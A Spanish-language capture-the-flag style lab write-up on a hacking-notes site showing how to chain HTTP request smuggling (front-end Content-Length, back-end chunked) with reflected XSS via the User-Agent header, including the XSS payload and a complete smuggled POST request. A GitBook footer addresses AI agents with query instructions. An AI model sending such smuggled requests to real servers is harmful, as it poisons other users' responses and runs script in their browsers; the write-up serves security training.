> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# Explotación del contrabando HTTP para entregar XSS reflejado

### Explotar el contrabando de solicitudes HTTP para entregar XSS reflejado

El laboratorio está configurando un servidor de front-end y un servidor de back-end. / El front-end **no admite codificación fragmentada**lo que allana el camino para un ataque de **contrabando de solicitudes HTTP**.

La aplicación también presenta una vulnerabilidad de **XSS reflejado a través del encabezado User-Agent**.

El objetivo es **enviar una solicitud contrabandeada** al back-end para que **la siguiente solicitud del usuario víctima reciba una respuesta que contenga un payload XSS ejecutando `alert(1)`**.

El laboratorio genera periódicamente solicitudes para el

### Vulnerabilidad XSS en User-Agent

El `userAgent` el campo en los formularios se reutiliza directamente en la respuesta, lo que permite la inyección:

<figure><img src="/files/8539b1c66bf0b51cdd9810b4ea31cbf9830671dd" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Este payload es aceptado e interpretado, confirmando la vulnerabilidad XSS.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="/files/b74d9c7a212acc3fc44eced7d14326e8b10c7217" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/717925e7595295e5648dc437a166dd18e133f557" alt=""><figcaption></figcaption></figure>

### **Objetivo del ataque**

La idea es usar el contrabando para garantizar que:

1. El front-end lee la solicitud según **Content-Length**.
2. El back-end lee según **Transfer-Encoding: chunked**.
3. La solicitud contrabandeada modifica la siguiente solicitud del usuario víctima.
4. El servidor entonces devuelve una respuesta que contiene nuestro payload XSS en el encabezado User-Agent.

### **Solicitud de aplicación contrabandeada**

Propones una solicitud POST que contiene un cuerpo vacío (`0/r/n/r/n`) para terminar la parte fragmentada, seguida de la solicitud para el back-end

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Esta segunda solicitud (contrabandeada) será interpretada por el back-end como parte de la siguiente solicitud — la del usuario víctima —, lo que permite inyectar el payload XSS en la respuesta que recibirá.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
